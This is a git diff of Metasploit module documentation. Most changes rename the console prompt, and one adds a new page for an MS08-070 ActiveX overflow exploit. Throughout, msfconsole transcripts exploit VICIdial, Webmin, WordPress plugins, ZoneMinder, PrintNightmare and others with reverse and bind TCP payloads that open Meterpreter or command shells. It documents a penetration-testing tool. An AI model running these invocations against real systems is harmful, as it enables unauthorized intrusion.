exploit(unix/webapp/vicidial_agent_authenticated_rce) > [*] Started reverse TCP handler on 192.168.1.36:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] VICIdial version: 2.14-705 @@ -218,7 +218,7 @@ RecorDing_ID: 10 [*] Sending stage (3045380 bytes) to 192.168.1.28 [*] Meterpreter session 18 opened (192.168.1.36:4444 -> 192.168.1.28:26572) at 2024-09-27 01:14:12 +0200 -msf6 exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18 +msf exploit(unix/webapp/vicidial_agent_authenticated_rce) > sessions 18 [*] Starting interaction with 18... meterpreter > pwd diff --git a/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md b/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md index d28421dc43336..422c58d9cd92c 100644 --- a/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md +++ b/documentation/modules/exploit/unix/webapp/webmin_upload_exec.md @@ -25,14 +25,14 @@ Use default installation path `/usr/share/webmin/` ### Tested Webmin 1.900 on Ubuntu 18.04 x64 ``` -msf5 > use exploit/unix/webapp/webmin_upload_exec -msf5 exploit(unix/webapp/webmin_upload_exec) > set rhosts 172.22.222.154 +msf > use exploit/unix/webapp/webmin_upload_exec +msf exploit(unix/webapp/webmin_upload_exec) > set rhosts 172.22.222.154 rhosts => 172.22.222.154 -msf5 exploit(unix/webapp/webmin_upload_exec) > set username unixuser +msf exploit(unix/webapp/webmin_upload_exec) > set username unixuser username => unixuser -msf5 exploit(unix/webapp/webmin_upload_exec) > set password unixuser +msf exploit(unix/webapp/webmin_upload_exec) > set password unixuser password => unixuser -msf5 exploit(unix/webapp/webmin_upload_exec) > exploit +msf exploit(unix/webapp/webmin_upload_exec) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [+] Session cookie: 6215747dab393701e0acbb9ac5b7c699 @@ -41,9 +41,9 @@ msf5 exploit(unix/webapp/webmin_upload_exec) > exploit [-] Failed to determine webmin share directory [-] Set GUESSUPLOAD to attempt upload to a default location [*] Exploit completed, but no session was created. -msf5 exploit(unix/webapp/webmin_upload_exec) > set guessupload true +msf exploit(unix/webapp/webmin_upload_exec) > set guessupload true guessupload => true -msf5 exploit(unix/webapp/webmin_upload_exec) > exploit +msf exploit(unix/webapp/webmin_upload_exec) > exploit [*] Started reverse TCP handler on 172.22.222.136:4444 [+] Session cookie: 46cbd354e4532fe55d1a462db128905c diff --git a/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md b/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md index 476a72c01663f..92b9d000f2f82 100644 --- a/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md +++ b/documentation/modules/exploit/unix/webapp/wp_infinitewp_auth_bypass.md @@ -56,8 +56,8 @@ This is the default setting. ### InfiniteWP Client 1.9.4.4 on WordPress 4.8.3 ``` -msf5 > use exploit/unix/webapp/wp_infinitewp_auth_bypass -msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > options +msf > use exploit/unix/webapp/wp_infinitewp_auth_bypass +msf exploit(unix/webapp/wp_infinitewp_auth_bypass) > options Module options (exploit/unix/webapp/wp_infinitewp_auth_bypass): @@ -88,13 +88,13 @@ Exploit target: 0 InfiniteWP Client < 1.9.4.5 -msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rhosts 127.0.0.1 +msf exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rport 8000 +msf exploit(unix/webapp/wp_infinitewp_auth_bypass) > set rport 8000 rport => 8000 -msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > set lhost 192.168.56.1 +msf exploit(unix/webapp/wp_infinitewp_auth_bypass) > set lhost 192.168.56.1 lhost => 192.168.56.1 -msf5 exploit(unix/webapp/wp_infinitewp_auth_bypass) > run +msf exploit(unix/webapp/wp_infinitewp_auth_bypass) > run [*] Started reverse TCP handler on 192.168.56.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/unix/webapp/wp_plainview_activity_monitor_rce.md b/documentation/modules/exploit/unix/webapp/wp_plainview_activity_monitor_rce.md index 4f4a508212609..72ff66756acd4 100644 --- a/documentation/modules/exploit/unix/webapp/wp_plainview_activity_monitor_rce.md +++ b/documentation/modules/exploit/unix/webapp/wp_plainview_activity_monitor_rce.md @@ -43,16 +43,16 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/wp_plainview_activity_monitor_rce - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set rhosts wordpress.test.local + msf > use exploit/unix/webapp/wp_plainview_activity_monitor_rce + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set rhosts wordpress.test.local rhosts => wordpress.test.local - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set username admin + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set username admin username => admin - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set password 123456 + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set password 123456 password => 123456 - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set vhost wordpress.test.local + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > set vhost wordpress.test.local vhost => wordpress.test.local - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > show targets + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > show targets Exploit targets: @@ -61,7 +61,7 @@ 0 WordPress - msf5 exploit(unix/webapp/wp_plainview_activity_monitor_rce) > exploit + msf exploit(unix/webapp/wp_plainview_activity_monitor_rce) > exploit [*] Started reverse TCP handler on 10.0.0.2:4444 [*] Trying to login... diff --git a/documentation/modules/exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload.md b/documentation/modules/exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload.md index 72546731dc2cb..33e21691f7413 100644 --- a/documentation/modules/exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload.md +++ b/documentation/modules/exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload.md @@ -28,15 +28,15 @@ Path to the target Wordpress blog. ### Wordpress `5.7.2` with wpDiscuz `7.0.4` on Ubuntu 18.04 ``` -msf6 > use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload +msf > use exploit/unix/webapp/wp_wpdiscuz_unauthenticated_file_upload [*] Using configured payload php/meterpreter/reverse_tcp -msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhost 192.168.37.135 +msf exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set rhost 192.168.37.135 rhost => 192.168.37.135 -msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 192.168.37.1 +msf exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set lhost 192.168.37.1 lhost => 192.168.37.1 -msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath index.php/2021/06/23/hello-world/ +msf exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > set blogpath index.php/2021/06/23/hello-world/ blogpath => index.php/2021/06/23/hello-world/ -msf6 exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run +msf exploit(unix/webapp/wp_wpdiscuz_unauthenticated_file_upload) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Executing automatic check (disable AutoCheck to override) diff --git a/documentation/modules/exploit/unix/webapp/xymon_useradm_cmd_exec.md b/documentation/modules/exploit/unix/webapp/xymon_useradm_cmd_exec.md index 158be74834f89..711bcfaa6b046 100644 --- a/documentation/modules/exploit/unix/webapp/xymon_useradm_cmd_exec.md +++ b/documentation/modules/exploit/unix/webapp/xymon_useradm_cmd_exec.md @@ -66,20 +66,20 @@ ## Scenarios ``` - msf5 > use exploit/unix/webapp/xymon_useradm_cmd_exec - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set rhosts xymon.local + msf > use exploit/unix/webapp/xymon_useradm_cmd_exec + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > set rhosts xymon.local rhosts => xymon.local - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set username admin + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > set username admin username => admin - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set password password + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > set password password password => password - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > set verbose true + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > set verbose true verbose => true - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > check + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > check [*] 10.1.1.132:80 - Xymon version 4.3.10 [*] 10.1.1.132:80 - The target appears to be vulnerable. - msf5 exploit(unix/webapp/xymon_useradm_cmd_exec) > run + msf exploit(unix/webapp/xymon_useradm_cmd_exec) > run [*] Started reverse TCP handler on 10.1.1.170:4444 [*] 10.1.1.132:80 - Xymon version 4.3.10 diff --git a/documentation/modules/exploit/unix/webapp/zoneminder_lang_exec.md b/documentation/modules/exploit/unix/webapp/zoneminder_lang_exec.md index e9012c9b1ec52..9f5105deb6e19 100644 --- a/documentation/modules/exploit/unix/webapp/zoneminder_lang_exec.md +++ b/documentation/modules/exploit/unix/webapp/zoneminder_lang_exec.md @@ -61,15 +61,15 @@ The ZoneMinder password (default: admin) ### Successful exploitation of ZoneMinder 1.36.4 on Ubuntu 18.04 Docker ``` -msf6 > use exploit/unix/webapp/zoneminder_lang_exec +msf > use exploit/unix/webapp/zoneminder_lang_exec [*] Using configured payload php/reverse_perl -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 +msf exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 RHOSTS => 172.17.0.2 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 +msf exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true +msf exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true VERBOSE => true -msf6 exploit(unix/webapp/zoneminder_lang_exec) > run +msf exploit(unix/webapp/zoneminder_lang_exec) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [+] Version Detected: 1.36.4 @@ -85,19 +85,19 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ### Successful exploitation of ZoneMinder 1.36.4 on Ubuntu 18.04 Docker with authentication enabled ``` -msf6 > use exploit/unix/webapp/zoneminder_lang_exec +msf > use exploit/unix/webapp/zoneminder_lang_exec [*] Using configured payload php/reverse_perl -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 +msf exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 RHOSTS => 172.17.0.2 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 +msf exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set USERNAME admin +msf exploit(unix/webapp/zoneminder_lang_exec) > set USERNAME admin USERNAME => admin -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set PASSWORD password +msf exploit(unix/webapp/zoneminder_lang_exec) > set PASSWORD password PASSWORD => password -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true +msf exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true VERBOSE => true -msf6 exploit(unix/webapp/zoneminder_lang_exec) > run +msf exploit(unix/webapp/zoneminder_lang_exec) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [+] Version Detected: 1.36.4 @@ -113,15 +113,15 @@ uid=33(www-data) gid=33(www-data) groups=33(www-data) ### Failed exploitation due to invalid credentials ``` -msf6 > use exploit/unix/webapp/zoneminder_lang_exec +msf > use exploit/unix/webapp/zoneminder_lang_exec [*] Using configured payload php/reverse_perl -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 +msf exploit(unix/webapp/zoneminder_lang_exec) > set RHOSTS 172.17.0.2 RHOSTS => 172.17.0.2 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 +msf exploit(unix/webapp/zoneminder_lang_exec) > set LHOST 172.17.0.1 LHOST => 172.17.0.1 -msf6 exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true +msf exploit(unix/webapp/zoneminder_lang_exec) > set VERBOSE true VERBOSE => true -msf6 exploit(unix/webapp/zoneminder_lang_exec) > run +msf exploit(unix/webapp/zoneminder_lang_exec) > run [*] Started reverse TCP handler on 172.17.0.1:4444 [-] Service found, but authentication failed diff --git a/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md index 245631c31ff8b..99826f50c0424 100644 --- a/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md +++ b/documentation/modules/exploit/unix/webapp/zoneminder_snapshots.md @@ -136,7 +136,7 @@ In this scenario the zoneminder-server has the IP address 192.42.0.254. The IP a The following demo shows how to use the exploit with minimal settings: ``` -msf6 exploit(unix/webapp/zoneminder_snapshots) > run +msf exploit(unix/webapp/zoneminder_snapshots) > run [*] Started reverse TCP handler on 192.42.1.188:4444 [*] Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/browser/chrome_filereader_uaf.md b/documentation/modules/exploit/windows/browser/chrome_filereader_uaf.md index 09c82d7594b64..7fa78fc95e916 100644 --- a/documentation/modules/exploit/windows/browser/chrome_filereader_uaf.md +++ b/documentation/modules/exploit/windows/browser/chrome_filereader_uaf.md @@ -24,12 +24,12 @@ Additional memory protections mean this exploit technique is not as straightforw ``` -msf5 > use exploit/windows/browser/chrome_filereader_uaf -msf5 exploit(windows/browser/chrome_filereader_uaf) > set URIPATH / +msf > use exploit/windows/browser/chrome_filereader_uaf +msf exploit(windows/browser/chrome_filereader_uaf) > set URIPATH / URIPATH => / -msf5 exploit(windows/browser/chrome_filereader_uaf) > set LHOST 192.168.0.1 +msf exploit(windows/browser/chrome_filereader_uaf) > set LHOST 192.168.0.1 LHOST => 192.168.0.1 -msf5 exploit(windows/browser/chrome_filereader_uaf) > run +msf exploit(windows/browser/chrome_filereader_uaf) > run [*] Started reverse TCP handler on 192.168.0.1:4444 [*] Using URL: http://0.0.0.0:8080/ [*] Local IP: http://192.168.0.1:8080/ diff --git a/documentation/modules/exploit/windows/browser/getgodm_http_response_bof.md b/documentation/modules/exploit/windows/browser/getgodm_http_response_bof.md index afb22c8908d44..275b033734f08 100644 --- a/documentation/modules/exploit/windows/browser/getgodm_http_response_bof.md +++ b/documentation/modules/exploit/windows/browser/getgodm_http_response_bof.md @@ -9,12 +9,12 @@ at [GetGo Download Manager 5.3.0.2712](https://www.exploit-db.com/apps/b26d82ead To use this, first start the module like the following example: ``` -msf5 exploit(windows/browser/getgodm_http_response_bof) > run +msf exploit(windows/browser/getgodm_http_response_bof) > run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.0.12:4444 -msf5 exploit(windows/browser/getgodm_http_response_bof) > [*] Using URL: http://0.0.0.0:8080/shakeitoff.mp3 +msf exploit(windows/browser/getgodm_http_response_bof) > [*] Using URL: http://0.0.0.0:8080/shakeitoff.mp3 [*] Local IP: http://192.168.0.12:8080/shakeitoff.mp3 [*] Server started. ``` diff --git a/documentation/modules/exploit/windows/browser/ms08_070_visual_studio_msmask.md b/documentation/modules/exploit/windows/browser/ms08_070_visual_studio_msmask.md new file mode 100644 index 0000000000000..8344745cfc992 --- /dev/null +++ b/documentation/modules/exploit/windows/browser/ms08_070_visual_studio_msmask.md @@ -0,0 +1,52 @@ +## Vulnerable Application + +This module exploits a stack buffer overflow in Microsoft Visual +Studio 6.0. When passing a specially crafted string to the Mask +parameter of the Mdmask32.ocx ActiveX Control, an attacker may +be able to execute arbitrary code. + + +## Verification Steps + +1. Start msfconsole +1. Do: `use exploit/windows/browser/ms08_070_visual_studio_msmask` +1. Do: `set SRVHOST [host]` +1. Do: `set SRVPORT [port]` +1. Do: `set URIPATH [uri]` +1. Do: `set PAYLOAD [payload]` +1. Do: `run` +1. Open the server URL on a vulnerable system + + +## Options + +### URIPATH + +The server URI path to use. (default: `/`) + + +## Scenarios + +### Windows XP SP3 (x86) (English) + +``` +msf > use exploit/windows/browser/ms08_070_visual_studio_msmask +[*] Using configured payload windows/shell/reverse_tcp +msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvhost 0.0.0.0 +srvhost => 0.0.0.0 +msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set srvport 8080 +srvport => 8080 +msf exploit(windows/browser/ms08_070_visual_studio_msmask) > set lhost 192.168.200.130 +lhost => 192.168.200.130 +msf exploit(windows/browser/ms08_070_visual_studio_msmask) > run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. + +[*] Started reverse TCP handler on 192.168.200.130:4444 +[*] Using URL: http://192.168.200.130:8080/ +[*] Server started. +msf exploit(windows/browser/ms08_070_visual_studio_msmask) > +[*] 192.168.200.173 ms08_070_visual_studio_msmask - Sending Microsoft Visual Studio Mdmask32.ocx ActiveX Stack Buffer Overflow +[*] Sending stage (240 bytes) to 192.168.200.173 +[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.173:1052) at 2025-06-22 03:01:18 -0400 +``` diff --git a/documentation/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare.md b/documentation/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare.md index 8a5632d5e46b5..ec2b59567e3c9 100644 --- a/documentation/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare.md +++ b/documentation/modules/exploit/windows/dcerpc/cve_2021_1675_printnightmare.md @@ -32,17 +32,17 @@ delay in seconds to wait before reconnecting to the service. A delay that is too ### Windows Server 2019 ``` -msf6 > use exploit/windows/dcerpc/cve_2021_1675_printnightmare +msf > use exploit/windows/dcerpc/cve_2021_1675_printnightmare [*] No payload configured, defaulting to windows/meterpreter/reverse_tcp -msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBUser aliddle +msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBUser aliddle SMBUser => aliddle -msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBPass Password1 +msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBPass Password1 SMBPass => Password1 -msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set PAYLOAD windows/x64/meterpreter/reverse_tcp +msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp -msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96 +msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96 RHOSTS => 192.168.159.96 -msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > exploit +msf exploit(windows/dcerpc/cve_2021_1675_printnightmare) > exploit [*] Started reverse TCP handler on 192.168.250.134:4444 [*] 192.168.159.96:445 - Running automatic check ("set AutoCheck false" to disable) diff --git a/documentation/modules/exploit/windows/dcerpc/ms03_026_dcom.md b/documentation/modules/exploit/windows/dcerpc/ms03_026_dcom.md index d1d1c9b01367c..97aa1aa58da7d 100644 --- a/documentation/modules/exploit/windows/dcerpc/ms03_026_dcom.md +++ b/documentation/modules/exploit/windows/dcerpc/ms03_026_dcom.md @@ -20,7 +20,7 @@ Windows NT 4.0 SP3-6a, Windows 2000, Windows XP, and Windows 2003 all in one req ### Windows 2000 Server SP4 (English) ``` -msf6 exploit(windows/dcerpc/ms03_026_dcom) > run +msf exploit(windows/dcerpc/ms03_026_dcom) > run [*] Started reverse TCP handler on 172.16.191.192:4444 [*] 172.16.191.164:135 - Trying target Windows NT SP3-6a/2000/XP/2003 Universal... diff --git a/documentation/modules/exploit/windows/fileformat/adobe_reader_u3d.md b/documentation/modules/exploit/windows/fileformat/adobe_reader_u3d.md index 6e6660a8db75b..9f3b6e28c8a82 100644 --- a/documentation/modules/exploit/windows/fileformat/adobe_reader_u3d.md +++ b/documentation/modules/exploit/windows/fileformat/adobe_reader_u3d.md @@ -47,7 +47,7 @@ Link to vulnerable software [OldVersion](http://www.oldversion.com/windows/downl msf exploit(windows/fileformat/adobe_reader_u3d) > use exploit/multi/handler msf exploit(multi/handler) > set LHOST 192.168.1.3 LHOST => 192.168.1.3 - msf5 exploit(multi/handler) > exploit + msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.3:4444 [*] Sending stage (180291 bytes) to 192.168.1.5 diff --git a/documentation/modules/exploit/windows/fileformat/boxoft_wav_to_mp3.md b/documentation/modules/exploit/windows/fileformat/boxoft_wav_to_mp3.md index aeb78d65c51cf..b154a0f312831 100644 --- a/documentation/modules/exploit/windows/fileformat/boxoft_wav_to_mp3.md +++ b/documentation/modules/exploit/windows/fileformat/boxoft_wav_to_mp3.md @@ -38,12 +38,12 @@ Run Exploit ``` - msf5 > use exploit/windows/fileformat/boxoft_wav_to_mp3 - msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > set payload windows/meterpreter/reverse_tcp + msf > use exploit/windows/fileformat/boxoft_wav_to_mp3 + msf exploit(windows/fileformat/boxoft_wav_to_mp3) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > set lhost 192.168.37.1 + msf exploit(windows/fileformat/boxoft_wav_to_mp3) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(windows/fileformat/boxoft_wav_to_mp3) > run + msf exploit(windows/fileformat/boxoft_wav_to_mp3) > run [+] music.wav stored at /Users/space/.msf4/local/music.wav @@ -51,12 +51,12 @@ Set up Handler ``` - msf5 > use exploit/multi/handler - msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp + msf > use exploit/multi/handler + msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp - msf5 exploit(multi/handler) > set lhost 192.168.37.1 + msf exploit(multi/handler) > set lhost 192.168.37.1 lhost => 192.168.37.1 - msf5 exploit(multi/handler) > run + msf exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.37.1:4444 [*] Sending stage (179779 bytes) to 192.168.37.138 diff --git a/documentation/modules/exploit/windows/fileformat/cyberlink_lpp_bof.md b/documentation/modules/exploit/windows/fileformat/cyberlink_lpp_bof.md index 0571fc819824b..8a154e72cdab9 100644 --- a/documentation/modules/exploit/windows/fileformat/cyberlink_lpp_bof.md +++ b/documentation/modules/exploit/windows/fileformat/cyberlink_lpp_bof.md @@ -29,28 +29,28 @@ CyberLink LabelPrint v2.5, which is available with [Power2Go 12 Essential](https ### Tested Windows 10 x64 running CyberLink LabelPrint v2.5 ``` -msf5 > use exploit/multi/handler -msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp +msf > use exploit/multi/handler +msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp payload => windows/meterpreter/reverse_tcp -msf5 exploit(multi/handler) > set lhost 172.22.222.132 +msf exploit(multi/handler) > set lhost 172.22.222.132 lhost => 172.22.222.132 -msf5 exploit(multi/handler) > set exitonsession false +msf exploit(multi/handler) > set exitonsession false exitonsession => false -msf5 exploit(multi/handler) > exploit -j +msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. -msf5 exploit(multi/handler) > +msf exploit(multi/handler) > [*] Started reverse TCP handler on 172.22.222.132:4444 use windows/fileformat/cyberlink_lpp_bof -msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132 +msf exploit(windows/fileformat/cyberlink_lpp_bof) > set lhost 172.22.222.132 lhost => 172.22.222.132 -msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2 +msf exploit(windows/fileformat/cyberlink_lpp_bof) > set target 2 target => 2 -msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > exploit +msf exploit(windows/fileformat/cyberlink_lpp_bof) > exploit [*] Creating 'msf.lpp' file ... [+] msf.lpp stored at /home/msfdev/.msf4/local/msf.lpp -msf5 exploit(windows/fileformat/cyberlink_lpp_bof) > +msf exploit(windows/fileformat/cyberlink_lpp_bof) > [*] Sending stage (179779 bytes) to 172.22.222.200 [*] Meterpreter session 1 opened (172.22.222.132:4444 -> 172.22.222.200:50522) at 2018-12-11 06:24:38 -0600 sessions -i 1 diff --git a/documentation/modules/exploit/windows/fileformat/documalis_pdf_editor_and_scanner.md b/documentation/modules/exploit/windows/fileformat/documalis_pdf_editor_and_scanner.md index 04342505c2105..aa7b48a355adc 100644 --- a/documentation/modules/exploit/windows/fileformat/documalis_pdf_editor_and_scanner.md +++ b/documentation/modules/exploit/windows/fileformat/documalis_pdf_editor_and_scanner.md @@ -34,16 +34,16 @@ ### Documalis Free PDF Editor v5.7.2.26 on Windows 10 x64 v2004 ``` -msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 0 +msf > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 0 TARGET => 0 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55 +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55 RHOST => 172.26.215.55 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 6655 +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 6655 LPORT => 6655 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner): @@ -73,18 +73,18 @@ Exploit target: -- ---- 0 Documalis Free PDF Editor v.5.7.2.26 / Win 7, Win 10 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit [+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf [*] Started bind TCP handler against 172.26.215.55:6655 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler -msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler +msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp -msf5 exploit(multi/handler) > set LPORT 6655 +msf exploit(multi/handler) > set LPORT 6655 LPORT => 6655 -msf5 exploit(multi/handler) > set RHOST 172.26.215.55 +msf exploit(multi/handler) > set RHOST 172.26.215.55 RHOST => 172.26.215.55 -msf5 exploit(multi/handler) > exploit +msf exploit(multi/handler) > exploit [*] Started bind TCP handler against 172.26.215.55:6655 [*] Sending stage (176195 bytes) to 172.26.215.55 @@ -118,16 +118,16 @@ meterpreter > ### Documalis Free PDF Scanner v5.7.2.122 on Windows 10 x64 v2004 ``` -msf5 > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 1 +msf > use exploit/windows/fileformat/documalis_pdf_editor_and_scanner +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set TARGET 1 TARGET => 1 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55 +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set RHOST 172.26.215.55 RHOST => 172.26.215.55 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 7788 +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > set LPORT 7788 LPORT => 7788 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > show options Module options (exploit/windows/fileformat/documalis_pdf_editor_and_scanner): @@ -158,18 +158,18 @@ Exploit target: 1 Documalis Free PDF Scanner v.5.7.2.122 / Win 7, Win 10 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > exploit [+] msf.pdf stored at /home/gwillcox/.msf4/local/msf.pdf [*] Started bind TCP handler against 172.26.215.55:7788 -msf5 exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler -msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp +msf exploit(windows/fileformat/documalis_pdf_editor_and_scanner) > use multi/handler +msf exploit(multi/handler) > 